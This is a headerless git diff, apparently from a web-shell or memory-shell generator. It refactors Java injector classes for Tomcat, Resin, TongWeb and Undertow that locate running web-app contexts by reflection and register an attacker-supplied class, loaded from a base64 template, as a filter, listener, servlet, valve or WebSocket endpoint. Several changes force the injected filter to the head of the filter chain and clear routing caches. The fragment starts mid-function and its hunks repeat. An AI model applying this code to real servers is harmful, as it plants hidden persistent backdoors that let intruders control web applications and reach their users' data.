method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -38,7 +38,7 @@ public class ResinListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -182,30 +182,25 @@ public class ResinListenerInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class ResinServletInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -183,30 +183,25 @@ public class ResinServletInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -42,7 +43,7 @@ public class TomcatFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -60,22 +61,6 @@ public class TomcatFilterInjector {
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
@@ -117,6 +102,23 @@ public class TomcatFilterInjector {
return contexts;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -149,15 +151,18 @@ public class TomcatFilterInjector {
}
Object filterDef;
Object filterMap;
Class<?> filterMapClass;
ClassLoader contextClassLoader = context.getClass().getClassLoader();
try {
// tomcat v8+
filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) {
// tomcat v5+
filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
}
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -175,11 +180,17 @@ public class TomcatFilterInjector {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
}
// addFilterMapFirst
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
try {
// v7.0.0 以上
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
// Tomcat5
setFieldValue(context, "filterMaps", results);
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
}
Constructor filterConfigConstructor;
@@ -251,20 +262,34 @@ public class TomcatFilterInjector {
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
@@ -35,7 +35,7 @@ public class TomcatListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -53,23 +53,6 @@ public class TomcatListenerInjector {
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -107,7 +90,24 @@ public class TomcatListenerInjector {
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
@@ -226,30 +226,25 @@ public class TomcatListenerInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -8,7 +8,9 @@ import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -21,6 +23,14 @@ public class TomcatProxyValveInjector implements InvocationHandler {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
public TomcatProxyValveInjector() {
if (ok) {
return;
@@ -31,7 +41,7 @@ public class TomcatProxyValveInjector implements InvocationHandler {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -49,36 +59,11 @@ public class TomcatProxyValveInjector implements InvocationHandler {
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public TomcatProxyValveInjector(Object rawValve, Object proxyValve) {
this.rawValve = rawValve;
this.proxyValve = proxyValve;
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() {
return "{{base64Str}}";
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if ("invoke".equals(method.getName())) {
@@ -133,6 +118,23 @@ public class TomcatProxyValveInjector implements InvocationHandler {
return contexts;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -8,7 +8,9 @@ import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -42,7 +44,7 @@ public class TomcatServletInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -60,23 +62,6 @@ public class TomcatServletInjector {
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -114,6 +99,23 @@ public class TomcatServletInjector {
return contexts;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -37,7 +37,7 @@ public class TomcatUpgradeInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -55,23 +55,6 @@ public class TomcatUpgradeInjector {
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/**
* org.apache.catalina.core.StandardContext
* /usr/local/tomcat/server/lib/catalina.jar
@@ -113,6 +96,23 @@ public class TomcatUpgradeInjector {
return contexts;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
@@ -35,7 +35,7 @@ public class TomcatValveInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -53,23 +53,6 @@ public class TomcatValveInjector {
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -107,6 +90,23 @@ public class TomcatValveInjector {
return contexts;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
@@ -7,7 +7,9 @@ import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
@@ -41,7 +43,7 @@ public class TomcatWebSocketInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -59,23 +61,6 @@ public class TomcatWebSocketInjector {
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -113,6 +98,23 @@ public class TomcatWebSocketInjector {
return contexts;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
private ClassLoader getWebAppClassLoader(Object context) {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -4,6 +4,7 @@ import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -43,7 +44,7 @@ public class TongWebFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -116,7 +117,7 @@ public class TongWebFilterInjector {
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
@@ -149,24 +150,28 @@ public class TongWebFilterInjector {
String filterClassName = getClassName();
Object filterDef;
Object filterMap;
Class<?> filterMapClass;
Constructor<?> constructor;
ClassLoader contextClassLoader = context.getClass().getClassLoader();
try {
// tongweb 7
constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e2) {
try {
// tongweb 6
constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap");
filterMap = filterMapClass.newInstance();
} catch (Exception e) {
// tongweb 8
constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance();
filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance();
filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap");
filterMap = filterMapClass.newInstance();
}
}
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
@@ -174,7 +179,13 @@ public class TongWebFilterInjector {
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName});
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
// addFilterMapFirst
Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null);
Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(filterMaps, 0, results, 1, filterMaps.length);
setFieldValue(getFieldValue(context, "filterMaps"), "array", results);
constructor.setAccessible(true);
Object filterConfig = constructor.newInstance(context, filterDef);
@@ -221,48 +232,58 @@ public class TongWebFilterInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = getField(obj, fieldName);
field.setAccessible(true);
field.set(obj, value);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
@@ -35,7 +35,7 @@ public class TongWebListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -96,7 +96,7 @@ public class TongWebListenerInjector {
return contexts;
}
private ClassLoader getWebAppClassLoader(Object context) {
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
@@ -218,30 +218,25 @@ public class TongWebListenerInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -35,7 +35,7 @@ public class TongWebValveInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -7,7 +7,10 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -40,7 +43,7 @@ public class UndertowFilterInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -75,6 +78,7 @@ public class UndertowFilterInjector {
return c + "(" + r + ")";
}
@SuppressWarnings("Duplicates")
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
@@ -129,6 +133,8 @@ public class UndertowFilterInjector {
Object managedFilters = invokeMethod(deploymentImpl, "getFilters", null, null);
invokeMethod(managedFilters, "addFilter", new Class[]{filterInfoClass}, new Object[]{filterInfo});
invokeMethod(deploymentInfo, "insertFilterUrlMapping", new Class[]{int.class, String.class, String.class, DispatcherType.class}, new Object[]{0, getClassName(), getUrlPattern(), DispatcherType.REQUEST});
// invalidate cache
invokeMethod(invokeMethod(deploymentImpl, "getServletPaths", null, null), "invalidate", null, null);
}
@SuppressWarnings("unchecked")
@@ -213,30 +219,25 @@ public class UndertowFilterInjector {
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
@@ -40,7 +40,7 @@ public class UndertowListenerInjector {
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null) {
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
@@ -191,30 +191,25 @@ public class UndertowListenerInjector {
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
